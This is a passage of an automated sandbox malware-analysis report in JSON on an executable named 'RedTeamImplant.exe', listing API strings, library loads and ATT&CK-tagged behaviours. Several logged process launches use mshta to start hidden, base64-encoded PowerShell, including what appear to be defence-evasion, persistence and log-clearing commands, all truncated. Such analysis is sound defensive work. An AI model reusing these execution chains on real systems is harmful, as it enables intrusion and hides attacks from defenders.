\"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1007","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1007","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-884","type":2,"relevance":1,"name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"MoveFileW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"MoveFileW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"MoveFileExW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFileW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFileExW\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-930","type":2,"relevance":1,"name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found string \"syscall.GetCommandLine\" (Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found string \"C:\\RedTeGetCommandLineW\" (Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","description_v2":["file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found string \"syscall.GetCommandLine\" (Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found string \"C:\\RedTeGetCommandLineW\" (Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"syscall.GetCommandLine\" (Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"C:\\RedTeGetCommandLineW\" (Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1059.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-128","type":6,"relevance":5,"name":"Calls an API typically used to create a process","description":"$31","description_v2":["\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSg\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3J\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2w\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2F\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCI\" - (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(wi\" - (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSg\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3J\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2w\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2F\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe \"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCI\" - (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateProcessW\" with parameter \"mshta.exe javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(wi\" - (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-175","type":6,"relevance":1,"name":"Calls an API typically used to load libraries","description":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter bcryptprimitives.dll (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter powrprof.dll (UID: 00000000-00007844)\n \"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00007844)","description_v2":["\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter bcryptprimitives.dll (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter powrprof.dll (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter bcryptprimitives.dll (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter powrprof.dll (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-176","type":6,"relevance":1,"name":"Calls an API typically used to retrieve function addresses","description":"$32","description_v2":["\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsAlloc (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsSetValue (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LCMapStringEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsFree (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitOnceExecuteOnce (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateEventExW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreExW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolTimer (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolTimer (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolTimer (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWait (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolWait (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWait (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSymbolicLinkW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentPackageId (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetTickCount64 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetFileInformationByHandle (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeConditionVariable (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WakeConditionVariable (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WakeAllConditionVariable (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableCS (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeSRWLock (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableSRW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWork (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SubmitThreadpoolWork (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWork (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CompareStringEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetLocaleInfoEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter AreFileApisANSI (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter RtlGetVersion (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoCreateInstance (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoCreateInstanceEx (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetClassObject (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromFile (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter ProcessPrng (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter RtlGetCurrentPeb (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetStdHandle (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtQueryInformationFile (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileType (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetConsoleMode (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCommandLineW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentVariableW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesExW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateFileW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentStringsW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FreeEnvironmentStringsW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcess (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter DuplicateHandle (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LocalAlloc (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter UpdateProcThreadAttribute (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateProcessW (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseHandle (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LocalFree (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObject (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetExitCodeProcess (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetProcessTimes (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsAlloc (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsSetValue (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LCMapStringEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlsFree (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitOnceExecuteOnce (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateEventExW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreExW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolTimer (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolTimer (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolTimer (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWait (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolWait (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWait (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateSymbolicLinkW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentPackageId (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetTickCount64 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SetFileInformationByHandle (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeConditionVariable (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WakeConditionVariable (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WakeAllConditionVariable (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableCS (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeSRWLock (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableSRW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWork (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter SubmitThreadpoolWork (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWork (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CompareStringEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetLocaleInfoEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter AreFileApisANSI (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter RtlGetVersion (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoCreateInstance (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoCreateInstanceEx (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetClassObject (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromFile (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter ProcessPrng (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter RtlGetCurrentPeb (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetStdHandle (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called 